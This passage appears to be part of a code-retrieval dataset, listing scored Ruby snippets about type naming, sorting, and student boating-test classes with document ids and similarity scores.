"1694389342ef11cbacafe9a3688cfdbc", "score": "0.61154723", "text": "def process_subtype(name)\n if name == \"Energy\"\n name = \"Special Energy\"\n elsif name == \"Special\"\n name = \"Ace-Spec\"\n end\n\n return name\nend", "title": "" }, { "docid": "10cfb374aa2cf641400305f75024c43e", "score": "0.61063427", "text": "def type_to_name(type_id)\n all.body.find { |_, type| type['type'].casecmp(type_id).zero? }.last['name']\n end", "title": "" }, { "docid": "bc439573c917c10edd7ff1ebba734c5f", "score": "0.6106121", "text": "def sort_by!(param)\n if param==\"names\"\n @items.sort_by! {|items| items.display_description}\n end\n end", "title": "" }, { "docid": "2e1ced3afd5e37d0be124628f5026a29", "score": "0.6097028", "text": "def get_type_name(str)\n if str == \"Fact\"\n\t return \"Faktenwissen\"\n\telsif str == \"Action\"\n\t return \"Anwendungswissen\"\n\telsif str == \"InstructionalKnowledge\"\n\t return \"Handlungswissen\"\n else str == \"Orientation\"\n\t return \"Orientierungswissen\"\n\tend\n end", "title": "" }, { "docid": "ed28d788dacb7a6c999f0e24acf172c9", "score": "0.6057811", "text": "def sort_type\n ['newest', 'stars', 'followers', 'forks', 'activity', 'last updated']\n end", "title": "" }, { "docid": "0a00522cd9056e9dec5f4fac61a3ba42", "score": "0.6056311", "text": "def make_system_type_name(name)\n {\n 'names' => [\n { 'String' => { 'str' => 'pg_catalog' } },\n { 'String' => { 'str' => name } }\n ],\n 'typemod' => -1\n }\n end", "title": "" }, { "docid": "1d3ce138d8f80c6f831ec4279f40422d", "score": "0.6043711", "text": "def order_by(class_name)\r\n if class_name == 'Group'\r\n 'name'\r\n else \r\n 'last_name'\r\n end\r\n end", "title": "" }, { "docid": "5f1c21f4506eb35e1fce3d287132ee6a", "score": "0.6011898", "text": "def type\n self.name.split(/::/)\n .last\n .gsub(/([A-Z\\d]+)([A-Z][a-z])/, \"\\\\1_\\\\2\".freeze)\n .gsub(/([a-z\\d])([A-Z])/, \"\\\\1_\\\\2\".freeze)\n .downcase\n end", "title": "" }, { "docid": "3911b0b03a4004a8220434c228b8b6d2", "score": "0.5989341", "text": "def sort_commons\n @type.sort_by! { |e| COMMONS.include?(e.name) ? 0 : 1 }\n end", "title": "" }, { "docid": "db3d67d6fa7aa05189e66c30f7df4d19", "score": "0.59861654", "text": "def kindOf(name)\n kind = \"\"\n for i in 0...@class_table.size\n if @class_table[i][0] == name\n\tkind = @class_table[i][2]\n end\n end\n\n for i in 0...@method_table.size\n if @method_table[i][0] == name\n\tkind = @method_table[i][2]\n end\n end\n\n if kind == \"var\" then return \"local\"\n elsif kind == \"field\" then return \"this\"\n elsif kind == \"argument\" or kind == \"static\" then return kind\n else return \"CAN'T FIND TYPE\"\n end\n\n end", "title": "" }, { "docid": "480f80969b21d71757954c93ee1e86d9", "score": "0.5984601", "text": "def type\r\n self.class.to_s.downcase.to_sym\r\n end", "title": "" }, { "docid": "7e87d13daac195b3a995711bc36da5ed", "score": "0.59764725", "text": "def determine_type(name, location)\n case name\n when /(genericaccount|unixserver)/i\n :ssh\n when /database/i\n :databases\n when /email/i\n :email\n when /webform/i\n location.to_s =~ /(google|mail)/i ? :email : :internet\n when /financial/i, /government/i, /reward/i\n :wallet\n when /securenote/i\n :notes\n when /license/i\n :software\n else\n :misc\n end\nend", "title": "" }, { "docid": "b44a9e1eae0c9867c0e5641432d86ed5", "score": "0.5969448", "text": "def type\n @name\n end", "title": "" }, { "docid": "a964dc41cf11411b9dc582e3bf9ed582", "score": "0.59651136", "text": "def type\n self.name.split(':').last.downcase\n end", "title": "" }, { "docid": "926b44eb5478e12e3d9e3c1133d36a5a", "score": "0.5962408", "text": "def test_nameBaseItemDesc\n c = BaseItemComparer.new(\"name\", 1)\n new_list = @baseItems.sort{|x,y| c.compare(x,y)}\n return new_list[0].name == \"Wrapped Bow\" &&\n new_list[1].name == \"Wizard Rod\" &&\n new_list[2].name == \"Warrior Bracelet\"\n end", "title": "" }, { "docid": "c30cf82fb976914beacb579cb8538c6b", "score": "0.59551406", "text": "def definition_by_name(name)\n name = name.to_sym\n @sorted_collectors[name] unless @sorted_collectors[name].nil?\n end", "title": "" }, { "docid": "61d5a1933343152f2835a571aed696ef", "score": "0.59528387", "text": "def _get_valid_type_class_names\n types = Entities::Base.descendants.map{|x| x.name.split(\"::\").last}\n types.sort_by{ |t| t.downcase }\n end", "title": "" }, { "docid": "243cbff41af2e8b70a22edd3981bc149", "score": "0.59506214", "text": "def sort(a)\n case a[0]\n when PATTERNS['ant']; sort_ants(a)\n when PATTERNS['antpol']; sort_antpols(a)\n when PATTERNS['sta']; sort_stas(a)\n when PATTERNS['stapol']; sort_stapols(a)\n else\n a.sort\n end\n end", "title": "" }, { "docid": "03313247974b1cfd62a062cc9fc4f09b", "score": "0.5932188", "text": "def sortName\n bits = name.split(/\\s+/)\n return bits[0] if bits.length == 1\n \"#{bits[-1]}, #{bits[0..-2].join(' ')}\"\n end", "title": "" }, { "docid": "c30516886ff1b3fc8c3f72d0e23cf34e", "score": "0.5921428", "text": "def humanize_type\n class_to_type.split(\"_\")\n .map(&:capitalize).join(\" \").gsub(/csv file/i, '').strip\n end", "title": "" }, { "docid": "7fce16e3da27549e8059222dcce7ac9d", "score": "0.59204763", "text": "def class_name_for_type(type)\n if name_kind_position == :start\n \"#{kind}_#{type}\".camelize\n else\n \"#{type}_#{kind}\".camelize\n end\n end", "title": "" }, { "docid": "25998b7b411fde5a1f747be45af65f3c", "score": "0.5916216", "text": "def type(name)\r\n if name =~ /(Arm|Arms|Grimoire|Primary Tool)/i\r\n return \"weapon\"\r\n elsif name =~ /Shield/i\r\n return \"shield\"\r\n elsif name.eql?(\"Ring\")\r\n return \"ring#{ring_inc}\"\r\n else\r\n return Helper.replace_downcase(name)\r\n end\r\n end", "title": "" }, { "docid": "f913583363c69b2c742eb1ef3161b84f", "score": "0.5913248", "text": "def _get_valid_type_class_names\n types = Entities::Base.descendants.map{|x| x.name.split(\"::\").last}\n types.sort_by{ |t| t.downcase }\n end", "title": "" }, { "docid": "40ba36ef5bb45ebc29ece43ad379653c", "score": "0.5913025", "text": "def possible name ; end", "title": "" }, { "docid": "da68531cbd627422c687f1329d1145b5", "score": "0.59033054", "text": "def field_name\n fetch(:as, Metadata.default_field_name(self[:sort_params])).intern\n end", "title": "" }, { "docid": "e85eceda5eed70796353d97024af3bc1", "score": "0.58865774", "text": "def type\n self.class.name.split(/::/).last.gsub(/([[:lower:]])([[:upper:]])/) { \"#{$1}_#{$2}\" }.downcase.intern\n end", "title": "" }, { "docid": "b0d6a1b4f6c56c854bffa27dcb64613a", "score": "0.58799255", "text": "def type_name\n @type.to_s.gsub(/\\d/, ' \\0').capitalize\n end", "title": "" }, { "docid": "dcc9c3c307f07d6af099bfd732a3025d", "score": "0.5878406", "text": "def type\n Util.underscore(name.split(\"::\").last).gsub(\"_\", \" \")\n end", "title": "" }, { "docid": "b646de5fd6f60bd16519ebc3171157b4", "score": "0.5877263", "text": "def compareName(x,y)\n if x.name < y.name\n result = -1\n elsif x.name > y.name\n result = 1\n elsif x.name == y.name\n result = 0\n end\n \n # Switch when in descendant order\n case @order\n when 1\n result *= -1 \n end\n \n return result\n end", "title": "" }, { "docid": "b646de5fd6f60bd16519ebc3171157b4", "score": "0.5877263", "text": "def compareName(x,y)\n if x.name < y.name\n result = -1\n elsif x.name > y.name\n result = 1\n elsif x.name == y.name\n result = 0\n end\n \n # Switch when in descendant order\n case @order\n when 1\n result *= -1 \n end\n \n return result\n end", "title": "" }, { "docid": "993050152163d0c42a52d11b45b1742c", "score": "0.587018", "text": "def sort_variable(input_sort, input_task)\n if input_sort == \"owner\"\n input_task.owner\n elsif input_sort == \"priority\"\n input_task.priority\n elsif input_sort == \"category\"\n input_task.category\n else\n end\nend", "title": "" }, { "docid": "43660902d869a46181a126fda23b6191", "score": "0.5866091", "text": "def object_for_type_and_name(type, name)\n nil_if_empty objects.select { |object| object.last['isa'] == type and object.last['name'] == name }.flatten\n end", "title": "" }, { "docid": "b5cca6d4f60bd816ecfc1e5b18fd107a", "score": "0.5865571", "text": "def test_typeBaseItemDesc\n c = BaseItemComparer.new(\"type\", 1)\n new_list = @baseItems.sort{|x,y| c.compare(x,y)}\n return new_list[0].name == \"Ultima Mail\" &&\n new_list[1].name == \"Sage's ring\" &&\n new_list[2].name == \"Life Ring\"\n end", "title": "" }, { "docid": "054a2fbd551f12c08b59c5d04240c6fd", "score": "0.58619946", "text": "def sort!\n collection.sort_by!(&:name)\n end", "title": "" }, { "docid": "054a2fbd551f12c08b59c5d04240c6fd", "score": "0.58619946", "text": "def sort!\n collection.sort_by!(&:name)\n end", "title": "" }, { "docid": "4fd99d2d3cb653ab23615587202ae58d", "score": "0.5861655", "text": "def format_type\n @type.gsub(\"_\",\" \").split.map(&:capitalize)*' '\n end", "title": "" }, { "docid": "8781847178feedc4d63f0137a7d52c5b", "score": "0.58606094", "text": "def name(type = :en)\n name_struct.name(type)\n end", "title": "" }, { "docid": "33c2e6e9e50a52dfdedc11b95b2c3932", "score": "0.5848414", "text": "def typeifiedname\n s = self.name\n s += (\" \" + self.entity_type.capitalize) if self.includetypeinname\n return s\n end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "f49e1f24f250e0672e0f4f162a33e08c", "score": "0.5847984", "text": "def type_name; end", "title": "" }, { "docid": "b6b567ba841596f44fc4886ea5d29139", "score": "0.5847267", "text": "def generic_name\n return if name_rank.genus_or_above?\n return if parent.nil?\n return parent.parent.name_element if name_rank.below_species?\n return parent.name_element if name_rank.species?\n return parent.name_element if name_rank.above_species?\n end", "title": "" }, { "docid": "c6ca1a675f9c519b95613ce1ed5abfdb", "score": "0.5845718", "text": "def translate_tournament_type type, name\n if type =~ /_grandslam_/\n 'grandslam'\n elsif type =~ /_atp_finals/\n 'atpfinal'\n elsif type =~ /_1000/\n 'atp1000'\n elsif type =~ /_500/\n 'atp500'\n elsif type =~ /_250/\n 'atp250'\n elsif name =~ /olympics/i\n 'olympics'\n else\n 'other'\n end\nend", "title": "" }, { "docid": "d460ff90372cecf0f21388292af3b597", "score": "0.5836267", "text": "def discover_sorter(klass, col, fields)\n col = JqGridRails.unescape(col)\n if(fields.is_a?(Hash) && fields[col].try(:[], :order).present?)\n fields[col][:order]\n else\n database_name_by_string(col, klass, fields)\n end\n end", "title": "" }, { "docid": "f71fbf3e54417f43b3f3c3e6d0ce78f1", "score": "0.58327556", "text": "def all_type_taxon_names # :yields: String\n (type_taxon_names + type_specimen_taxon_names).uniq.sort{|a,b| a.l <=> b.l }\n end", "title": "" }, { "docid": "119ce1cdabba3bc14a2de681018e548b", "score": "0.5823932", "text": "def struct_name_for_type(type,tag)\n case type.downcase\n when \"protocol\"\n shortened_name(tag[:name])\n when \"glossary\"\n tag[:name].split(\".\").last\n when \"enumeration\"\n tag[:name].split(\".\").last\n end\nend", "title": "" }, { "docid": "ec4ea5500db01987248b77d7950c9823", "score": "0.5822639", "text": "def sorted #class module method to sort collections alphabetically\n self.all.sort_by {|object| object.name }\n end", "title": "" }, { "docid": "cd59ec96b414b9fa4586c1daf2172327", "score": "0.5820444", "text": "def alias_creator(name) \n\tname_as_array = name.split(' ')\n\treversed_name = name_as_array.sort { | x,y | y <=> x }\n\tswapped_name = reversed_name.map! { |name| name.swapcase.reverse }\n\tjoined_name = swapped_name.join(' ')\nend", "title": "" }, { "docid": "3d2ec71057095fe0304006b7ed6f1923", "score": "0.5817591", "text": "def custom_sort(user_type)\n if user_type=='superadmin'\n return 1\n elsif user_type=='member'\n return 2\n elsif user_type=='instructor'\n return 3\n elsif user_type=='guest'\n return 4\n else\n return 5\n end\n end", "title": "" }, { "docid": "a9cb1586007ae83f6dfa50b4d5973207", "score": "0.5816717", "text": "def name # :nodoc:\n # If @id is defined, then put that into the type, otherwise just the type is fine.\n @id ? type.sub(WILDCARD, @id) : type\n end", "title": "" }, { "docid": "de0f3fed96bb0c6418fa4babfc9da55d", "score": "0.58166075", "text": "def name=(string)\n super(string.strip)\n assign_sort_name\n end", "title": "" }, { "docid": "73688991ee2f052120bcb7233b2272a2", "score": "0.5807884", "text": "def get_valid_type_class_names\n types = Entities::Base.descendants.map{|x| x.name.split(\"::\").last}\n types.sort_by{ |t| t.downcase }\n end", "title": "" }, { "docid": "73688991ee2f052120bcb7233b2272a2", "score": "0.5807884", "text": "def get_valid_type_class_names\n types = Entities::Base.descendants.map{|x| x.name.split(\"::\").last}\n types.sort_by{ |t| t.downcase }\n end", "title": "" }, { "docid": "57aad7798d070208a4a2a73e6a456c30", "score": "0.5805512", "text": "def sort_by_name(a, b)\n\t\tif a.first_name == b.first_name\n\t\t\ta.last_name <=> b.last_name\n\t\telse\n\t\t\ta.first_name <=> b.first_name\n\t\tend\n\tend", "title": "" }, { "docid": "57aad7798d070208a4a2a73e6a456c30", "score": "0.5805512", "text": "def sort_by_name(a, b)\n\t\tif a.first_name == b.first_name\n\t\t\ta.last_name <=> b.last_name\n\t\telse\n\t\t\ta.first_name <=> b.first_name\n\t\tend\n\tend", "title": "" }, { "docid": "ea7a1d1e1cb1c0d2932ee43c105ef012", "score": "0.57952946", "text": "def test_nameBaseItem\n c = BaseItemComparer.new(\"name\")\n new_list = @baseItems.sort{|x,y| c.compare(x,y)}\n return new_list[0].name == \"Antidote\" &&\n new_list[1].name == \"Bastard Sword\" &&\n new_list[2].name == \"Battle Axe\"\n end", "title": "" } ]
966f24415246b94bfeae2a79c60bbefb
Studentadd_boating_test should initialize a new boating test with a student (Object), a boating test name (String), a boating test status (String), and an Instructor (Object) instance method creates a new test via class BoatingTest 'student' instance = self
[ { "docid": "45c08ef418f414a4b02f982fc8afc4fb", "score": "0.7721944", "text": "def add_boating_test(test_name, status, instructor)\n BoatingTest.new(self, test_name, status, instructor)\n end", "title": "" } ]
[ { "docid": "79b87776793b2cedf7a965d0fb929774", "score": "0.8577", "text": "def add_boating_test(boating_test_name, boating_test_status, instructor)\n# We're in the Student class, so this method won't accept an argument of student; the instance IS the student.\n new_boating_test = BoatingTest.new(self, boating_test_name, boating_test_status, instructor)\n end", "title": "" }, { "docid": "628ce53e239f7d68c480fb7f2e46976c", "score": "0.8301903", "text": "def add_boating_test(student, test_name, status, instructor)\n\n end", "title": "" }, { "docid": "beeb23e6c09fb005fd5865a488d19f95", "score": "0.8180157", "text": "def add_boating_test(student, test_name, test_status)\n BoatingTest.new(student, test_name, test_status, self)\n end", "title": "" }, { "docid": "7bbd9405c46c1d3c2a6f45499e345847", "score": "0.8155619", "text": "def initialize(student, test_name, test_status, instructor)\n @student = student\n @test_name = test_name\n @test_status = test_status\n @instructor = instructor\n\n @@all_boating_tests << self\n end", "title": "" }, { "docid": "6d6ef7f8f1cef466e61b5287eb01e742", "score": "0.8134138", "text": "def create_boating_test(student, test_name, test_status)\n BoatingTest.new(student, test_name, test_status, self)\n end", "title": "" }, { "docid": "81b8ec48aeab23f7ed9ee447070aaca2", "score": "0.8100738", "text": "def initialize(student, boating_test, status, instructor)\n @student = student\n @boating_test = boating_test\n @status = status\n @instructor = instructor\n @@all_test << self\n end", "title": "" }, { "docid": "2f806fb68d9a70008b6e9d8d69e49066", "score": "0.8050684", "text": "def add_boating_test(test_name, status, instructor)\n #inside a method, self\n BoatingTest.new(self, test_name, status, instructor)\n end", "title": "" }, { "docid": "5e48af489701faf88fe4b783573e71a5", "score": "0.7897847", "text": "def add_boating_test(test_name, status, instructor)\n BoatingTest.new(self, test_name, status, instructor)\n end", "title": "" }, { "docid": "8d914d453996174b432c6301b25a804f", "score": "0.7891246", "text": "def add_boating_test(testname, teststatus, instructor)\n BoatingTest.new(testname, teststatus, self, instructor)\n end", "title": "" }, { "docid": "74d24983aa0a582105499c003c910ff1", "score": "0.7853603", "text": "def add_boating_test (test_name, test_status, instructor)\n new_test = BoatingTest.new(self, test_name, test_status, instructor)\n new_test\n end", "title": "" }, { "docid": "fd0d0f9d5041c3a5e3a4c336d26cf5e9", "score": "0.7840228", "text": "def add_boating_test(name, status, instructor)\n BoatingTest.new(self, name, status, instructor)\n end", "title": "" }, { "docid": "f0268b9b2170c372cae1a36ea15d4d77", "score": "0.7754883", "text": "def add_boating_test(name, status, instructor)\n test = BoatingTest.new(self, name, status, instructor)\n end", "title": "" }, { "docid": "fe502455dbbd1f3c4bd9f48fc08a1867", "score": "0.7736673", "text": "def add_boating_test (test_name, test_status, instructor)\n BoatingTest.new(self, test_name, test_status, instructor)\n end", "title": "" }, { "docid": "26ea27e05392212b96e88b6980cce5a2", "score": "0.77158046", "text": "def initialize(student_param, boating_test_name_param, boating_test_status_param, instructor_param)\n @student = student_param\n @boating_test_name = boating_test_name_param\n @boating_test_status = boating_test_name_param\n @instructor = instructor_param\n @@all << self\n end", "title": "" }, { "docid": "ac880714ae3e245c7f97f28fb56eb86f", "score": "0.7704788", "text": "def add_boating_test(instructor, test_name, test_status)\n BoatingTest.new(self,test_name, test_status, instructor)\n end", "title": "" }, { "docid": "aaf692d1124d93ba5efcd2f6325af396", "score": "0.76694435", "text": "def add_boating_test(test_name, test_status, instructor)\n BoatingTest.new(self, test_name, test_status, instructor)\n end", "title": "" }, { "docid": "aaf692d1124d93ba5efcd2f6325af396", "score": "0.76694435", "text": "def add_boating_test(test_name, test_status, instructor)\n BoatingTest.new(self, test_name, test_status, instructor)\n end", "title": "" }, { "docid": "aaf692d1124d93ba5efcd2f6325af396", "score": "0.76694435", "text": "def add_boating_test(test_name, test_status, instructor)\n BoatingTest.new(self, test_name, test_status, instructor)\n end", "title": "" }, { "docid": "af18d79eeeaa806c6f244fe55faf1b24", "score": "0.7582592", "text": "def add_boating_test(boatingtest, status, instructor)\n BoatingTest.new(self, boatingtest, status, instructor)\n end", "title": "" }, { "docid": "83de13f85b5a31c6af94ab5037250c9e", "score": "0.7552202", "text": "def add_boating_test(bt_name, bt_status, instructor)\n BoatingTest.new(self, bt_name, bt_status, instructor)\n end", "title": "" }, { "docid": "5020b3725d500cbd76decd484752b079", "score": "0.7530897", "text": "def add_boating_test(test_name, test_status, instructor)\n BoatingTest.new(self, instructor, test_status, test_name)\n end", "title": "" }, { "docid": "16bc519562b9a2c3db1c435b3db5c4fd", "score": "0.75075775", "text": "def add_boating_test(test_name, test_status, instructor)\n BoatingTest.new(self, test_name, test_status, instructor)\n end", "title": "" }, { "docid": "16bc519562b9a2c3db1c435b3db5c4fd", "score": "0.75075775", "text": "def add_boating_test(test_name, test_status, instructor)\n BoatingTest.new(self, test_name, test_status, instructor)\n end", "title": "" }, { "docid": "16bc519562b9a2c3db1c435b3db5c4fd", "score": "0.75075775", "text": "def add_boating_test(test_name, test_status, instructor)\n BoatingTest.new(self, test_name, test_status, instructor)\n end", "title": "" }, { "docid": "16bc519562b9a2c3db1c435b3db5c4fd", "score": "0.75075775", "text": "def add_boating_test(test_name, test_status, instructor)\n BoatingTest.new(self, test_name, test_status, instructor)\n end", "title": "" }, { "docid": "8f0cde083ba2fd48df6c2766ba328ca0", "score": "0.7496173", "text": "def add_boating_test(test, status, instructor)\n BoatingTest.new(self, test, status, instructor)\n end", "title": "" }, { "docid": "ef0ac50d668582c0113b1fdf8596083f", "score": "0.7463113", "text": "def add_boating_test(test_name, test_status, instructor)\n new_test = BoatingTest.new(test_name, test_status, instructor, self)\n BoatingTest.all << new_test\n end", "title": "" }, { "docid": "a84875627737d5dbc9da7d0e68b5fcd1", "score": "0.70979965", "text": "def initialize(student, test_name, test_status, instructor)\n @student = student\n @test_name = test_name\n @test_status = test_status\n @instructor = instructor\n @@all << self\n end", "title": "" }, { "docid": "dbddc81b6fe86376ee0bea54529cbf69", "score": "0.7096794", "text": "def initialize(student, test_name, test_status, instructor)\n\t\t@student, @test_name, @test_status, @instructor = student, test_name, test_status, instructor\n\t\t@@all << self\n\tend", "title": "" }, { "docid": "0aa120e1cb94b443788fc58252c0016e", "score": "0.69939727", "text": "def pass_student(student, test_name)\n student_found = BoatingTest.all.find do |test_info|\n test_info.boating_test_name == test_name && test_info.student.first_name == student\n end \n if student_found\n student_found.boating_test_status = \"passed\"\n else \n BoatingTest.new(student, test_name, \"passed\", self)\n # we were passing BoatingTest.new(student, boating_test_name, \"passed\", self) \n # => but boating_test_name is the parameter for the argument, in here the one we are passing \n # is in line 32, and we called it test_name, so it has to be test_name when invoking BoatingTest.new\n end \n end", "title": "" }, { "docid": "9a35a2c5a130fcec7fd6190fbe358491", "score": "0.6930598", "text": "def pass_student(student_obj, test_nam)\n if test_nam == nil \n BoatingTest.new(student_obj, test_nam, \"Pass\", Instructor.new(\"Chica\"))\n else \n BoatingTest.all.each do |test_obj|\n if test_obj.student_inst == student_obj && test_obj.test_name == test_nam\n test_obj.test_status = \"Pass\"\n end \n \n end \n end \n\n\n end", "title": "" }, { "docid": "b718228e65642d9308119618023984ca", "score": "0.69113696", "text": "def initialize(student,test_name,test_status,instructor)\n @student = student\n @test_name = test_name\n @test_status = test_status\n @instructor = instructor\n #binding.pry\n \n @@all << self\n \n end", "title": "" }, { "docid": "4a9778f3b0addb7e0f3abee18baa5169", "score": "0.67880315", "text": "def pass_student(student, test_name)\n \n check_if_boating_test_exist = BoatingTest.all.find do |boating_test| \n boating_test.student == student &&\n boating_test.test_name == test_name\n end\n\n if check_if_boating_test_exist == nil\n BoatingTest.new(student, test_name, \"passed\", self) \n else \n check_if_boating_test_exist.test_status = \"passed\"\n check_if_boating_test_exist\n end\n end", "title": "" }, { "docid": "03a4eacaef143acfe71d8696d8119b0e", "score": "0.673993", "text": "def initialize(student, test, status, teacher)\n @student = student\n @test_name = test\n @test_status = status\n @instructor = teacher\n self.class.all << self\n end", "title": "" }, { "docid": "6617d7812a8adb8b4ce2a3738f43bcda", "score": "0.6675181", "text": "def pass_student(student,test_name)\n# If there is a `BoatingTest` whose name and student match the values passed in, \n matching_array = BoatingTest.all.select {|test| test.student == student && test.test_name == test_name}\n # binding.pry\n if matching_array != nil\n# this method should update the status of that BoatingTest to 'passed'. \n return matching_array.each {|test_instance| test_instance.test_status = 'passed'}\n # binding.pry\n# If there is no matching test, this method should create a test with the student, that boat test name, and the status 'passed'. \n else\n return BoatingTest.new(student, test_name, 'passed', self)\n # binding.pry\n# Either way, it should return the `BoatingTest` instance.\n end\n end", "title": "" }, { "docid": "1fd3476a6740bffb15b87e0e542f9c5a", "score": "0.6657312", "text": "def tests_add_book\n\t\tassert_equal 1, @new_driver.add_book\n\tend", "title": "" }, { "docid": "ad28e88998da16c466ec6d9c07ce3824", "score": "0.6652472", "text": "def pass_student(student_inst, test_name)\n BoatingTest.all.each do |boatingtest|\n if boatingtest.student == student_inst && boatingtest.name == test_name\n boatingtest.status = \"passed\"\n return boatingtest\n end\n end\n BoatingTest.new(student_inst, test_name, status=\"passed\", self)\n end", "title": "" }, { "docid": "6ab86391ed06d540a638403d8a001962", "score": "0.66350675", "text": "def check_and_alter_tests(student, test_name, status)\n existing_test = (BoatingTest.test_exists?(student, test_name))\n if existing_test.nil?\n BoatingTest.new(student, test_name, status, self)\n # elsif self.test_mine?(existing_test)\n # existing_test.status = status\n else\n existing_test.status = status\n existing_test\n end\n end", "title": "" }, { "docid": "f14644ab6b10f3beca4147eb5c8b1fc0", "score": "0.65877616", "text": "def test_student_name\n #create new student instance named Grant\n grant = Student.new(\"Grant\", \"G16\")\n #use getter method to grab student object name\n #assert that student object has name grant\n assert_equal(\"Grant\", grant.name)\n end", "title": "" }, { "docid": "d2f403e490cac9e43f4fd788b381622f", "score": "0.65427345", "text": "def tests\n BoatingTest.student_tests(self.first_name)\n end", "title": "" }, { "docid": "739e9824510e3f2e3869fec6bc29a716", "score": "0.6527986", "text": "def pass_student(student, test)\n test_check = BoatingTest.all.find{|test| test.student == student && test.test_name == test}\n\n if test_check == true\n test_check.test_status = \"passed\"\n else\n BoatingTest.new( student, test, \"passed\", self)\n end\n end", "title": "" }, { "docid": "1060ce90044e8981e0b789e33c4a2308", "score": "0.6524327", "text": "def pass_student(student, test_name)\n end", "title": "" }, { "docid": "332f9f162ca40e0b45fc7d02d4defc6d", "score": "0.6507499", "text": "def pass_student(student, test_name)\n specific_test = BoatingTest.find_student_test(student) & BoatingTest.find_test_name(test_name)\n if specific_test.length > 0 \n specific_test.each{|test| test.test_status = \"passed\"}\n else\n specific_test = BoatingTest.new(student, test_name, \"passed\", self)\n end\n end", "title": "" }, { "docid": "3220b92b211cc21e0ba5943f55527b39", "score": "0.6479105", "text": "def pass_student(student_name, test)\n instructors_tests.map do |boating_test|\n if boating_test.student == student_name && boating_test == test\n boating_test.test_status = \"passed\"\n return boating_test\n else\n new_test = BoatingTest.new(student_name, test.test_name, \"passed\", self)\n return new_test\n end\n end\n end", "title": "" }, { "docid": "d314aa9816edb372f013e0e87dd733ad", "score": "0.64511955", "text": "def pass_student(student_name, test_name)\n \n tests = BoatingTest.all.select { |boating_test|\n boating_test.bt_name == test_name && boating_test.student.first_name == student_name \n }\n if tests == []\n stud = Student.find_student(student_name)\n new_test = BoatingTest.new(stud, test_name, \"passed\", self)\n return new_test\n else\n return tests.each{|bt| bt.bt_status = \"passed\"}\n end\n\n \n end", "title": "" }, { "docid": "e71a2573568fa81c5081ae71009934aa", "score": "0.64412546", "text": "def test_student_talks\n account = Student.new('John', 'G13')\n assert_equal('I can talk!', account.talk())\n end", "title": "" }, { "docid": "16d559a4cf324b35c1089b1d942dc1f9", "score": "0.64369345", "text": "def pass_student(student, test_name)\n test_exist = BoatingTest.all.find do |boating_test|\n boating_test.instructor == self && boating_test.student && student && boating_test.name == test_name\n end\n if (test_exist)\n test_exist.status = \"Passed\"\n else\n BoatingTest.new(student, test_name, \"Passed\", self)\n end\n end", "title": "" }, { "docid": "cf5382dfba60c5fe1c71199c229e2d07", "score": "0.63746554", "text": "def pass_student(student, test_name)\n begin\n test_results = BoatingTest.all.find {|test| student == test.student and \n test_name == test.test_name}\n test_results.test_stat = \"passed\"\n \n rescue\n if test_results == nil \n BoatingTest.new(student, test_name, \"passed\", self )\n end\n \n end\n end", "title": "" }, { "docid": "4b11490a8afed6cb4e167e7e1423a2d1", "score": "0.63694537", "text": "def test_student_name()\n\n assert_equal(\"Connor\", @test_student.name)\n\n end", "title": "" }, { "docid": "3040df73bc6e495edbc6784ea63e44d8", "score": "0.6356788", "text": "def test_gets_student_to_talk\n student = Student.new(\"Matt\", \"E29\")\n assert_equal(\"I can talk\", student.gets_student_to_talk)\nend", "title": "" }, { "docid": "fd3c87ff355cf2ee23c99e563dd87aa8", "score": "0.6338514", "text": "def test_student_talks()\n student = CodeClanStudent.new(\"Scott\", 3)\n student.student_talks()\n assert_equal(\"I can talk!\", student.student_talks())\nend", "title": "" }, { "docid": "7a09c219f7c7d794e814791f1e89d9e8", "score": "0.63224214", "text": "def test_student_name\n assert_equal(\"Kevin\", @student.student_name())\n end", "title": "" }, { "docid": "f2934d29e102bbd143132648c89a2191", "score": "0.63185763", "text": "def test_add_book\n d = Driver.new(\"Guy\",Random.new(0))\n books = d.Books\n d.Location = \"Hillman\"\n d.add_book\n assert_equal books+1,d.Books\nend", "title": "" }, { "docid": "715559beeee03cc7762de6ddae15776c", "score": "0.6298839", "text": "def pass_student(student_name,test_name)\n BoatingTest.all.each do |test_instance|\n if test_instance.student.name == student_name && test_instance.test_name == test_name\n test_instance.test_status = \"passed\"\n end\n end\n end", "title": "" }, { "docid": "b5325bc31fa5130833d3f338c8a43056", "score": "0.6297774", "text": "def test_it_can_add_book\n author = Author.new\n @book_1[0]\n assert_equal \"Jane Eyre\", author.add_book\n end", "title": "" }, { "docid": "66bfed24781907bc778db456ba6e5b65", "score": "0.6280264", "text": "def test_add_book_away\n d = Driver.new(\"Guy\",Random.new(0))\n books = d.Books\n d.Location = \"Duck\"\n d.add_book\n assert_equal books,d.Books\nend", "title": "" }, { "docid": "c5d0445f5062c1d098d5ec5fd780c829", "score": "0.62273103", "text": "def test_student_has_name\n student = Student.new('Penelope')\n assert_equal 'Penelope', student.name\n end", "title": "" }, { "docid": "27936f966db5bfaec3b3e471fe06a4a6", "score": "0.6226971", "text": "def pass_student(student_name, test_name)\n instance = []\n BoatingTest.all.select do|tests|\n if tests.student == student_name && tests.test_name == test_name\n tests.status = \"passed\"\n instance = tests\n else\n instance = BoatingTest.new(student_name, test_name, status=\"passed\", self)\n end\n end\n instance\n end", "title": "" }, { "docid": "0e957093c75e123c7590fec7148c6e03", "score": "0.6226786", "text": "def test_add_user\r\n user = User.new(:name => \"testStudent1\",\r\n :password => Digest::SHA1.hexdigest(\"test\"),\r\n :fullname => \"test Student 1\",\r\n :role_id => \"1\")\r\n assert user.save\r\n end", "title": "" }, { "docid": 